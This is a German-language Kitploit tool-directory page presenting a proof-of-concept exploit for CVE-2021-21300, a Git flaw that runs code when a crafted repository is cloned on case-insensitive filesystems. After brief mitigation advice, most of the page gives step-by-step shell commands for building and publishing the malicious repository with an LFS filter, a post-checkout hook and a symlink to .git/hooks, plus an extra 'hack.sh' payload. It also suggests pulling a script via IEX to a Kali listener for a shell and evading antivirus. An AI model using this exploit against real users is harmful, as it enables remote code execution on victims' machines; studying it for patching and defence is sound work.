Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-21300 — Proof-of-Concept-Exploit für CVE-2021-21300, der Remote-Codeausführung durch Klonen eines bösartigen Git-Repositorys mit Symlink- und Filter-Missbrauch auf case-insensitiven Dateisystemen demonstriert. | Kitploit
Tools/GitHubGitHub/fengzhouc/cve-2021-21300
Privilege EscalationSchwachstellenanalyseExploitationLaterale BewegungShellcodePost-ExploitationCommand and ControlRemote-Access-ToolPayload-Entwicklung
GitHubfengzhouc/cve-2021-21300

CVE-2021-21300

Proof-of-Concept-Exploit für CVE-2021-21300, der Remote-Codeausführung durch Klonen eines bösartigen Git-Repositorys mit Symlink- und Filter-Missbrauch auf case-insensitiven Dateisystemen demonstriert.

3vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

CVE-2021-21300

In mehreren Git-Versionen wird die Verarbeitung von symbolischen Links (Symlinks) nicht streng gehandhabt. Wenn Dateien auf einem Dateisystem, das zwischen Groß- und Kleinschreibung unterscheidet (z. B. Linux), in Git hochgeladen werden und dann ein Host mit einem Dateisystem, das nicht zwischen Groß- und Kleinschreibung unterscheidet (z. B. Windows), das bösartige Repository klont, kann dies zur Ausführung von Remote-Befehlen führen.

Betroffene Versionen

Von 2.15 bis einschließlich 2.30.1

Lösung

  1. Version aktualisieren

  2. Wie folgt:

    • Deaktivieren Sie Git-Symlinks: git config --global core.symlinks false

    • Deaktivieren Sie den Prozessfilter (normalerweise von LFS verwendet). Überprüfen Sie mit git config --show-scope --get-regexp 'filter\..*\.process'

Auslösebedingungen:

  1. Es existiert ein Symlink und ein Verzeichnis mit demselben Namen im Repository.
  2. Der Symlink zeigt auf ein spezielles Verzeichnis (anscheinend .git/hooks).
  3. Der Zielrechner benötigt ausreichende Berechtigungen zur Ausführung bösartiger Befehle.

Reproduktion

01 Umgebungsvorbereitung

① Repository-Vorbereitung:

System: Ubuntu x64

Erforderlich: Installation von git und git-lfs

Die Ausführung von git lfs install kann einen Fehler melden:

Error: Failed to call git rev-parse --git-dir: exit status 128

Kann ignoriert werden.

Wenn 'Git LFS initialized' erscheint, ist die Installation abgeschlossen.

② Zielrechner:

System: Windows 10 x64

Git for Windows: Git-2.17.1-64-bit

(https://www.npackd.org/p/git64/2.17.1.2)

Die Installation von Git für Windows sollte mit den Standardeinstellungen erfolgen.

02 Vorbereitung des bösartigen Repositorys

① Ein neues Repository auf GitHub erstellen:

Es gibt viele entsprechende Online-Tutorials, daher nicht näher erläutert.

② Erstellen des bösartigen Repositorys auf Ubuntu und Hochladen auf GitHub:

Führen Sie die folgenden Befehle aus:

root@kitploit:~
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [eigene Repository-URL]
$ git push -u origin main

03 Angriffstest

Führen Sie in der PowerShell (als Administrator) unter Windows 10 den folgenden Befehl aus:

git clone -c core.symlinks=true [eigene Repository-URL]

Wenn nach dem Klonen 'PWNED' erscheint, war die Remote-Befehlsausführung erfolgreich.

Man sieht, dass beim Klonen der Befehl in der Datei post-checkout ausgeführt wurde.

Die Idee ist, mit IEX ein Skript herunterzuladen und dann über Kali einen Listener zu starten, um eine Shell zu erhalten. Die meisten Skripte werden jedoch erkannt und blockiert. Mit einer Antivirus-Umgehung (Bypass) sollte dies möglich sein.

04 Erweiterte Nutzung

Fügen Sie im Verzeichnis die Skriptdatei hack.sh hinzu.

Inhalt wie folgt:

root@kitploit:~
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"

Ändern Sie den in post-checkout ausgeführten Befehl, um das Skript auszuführen.

printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout

Tool herunterladen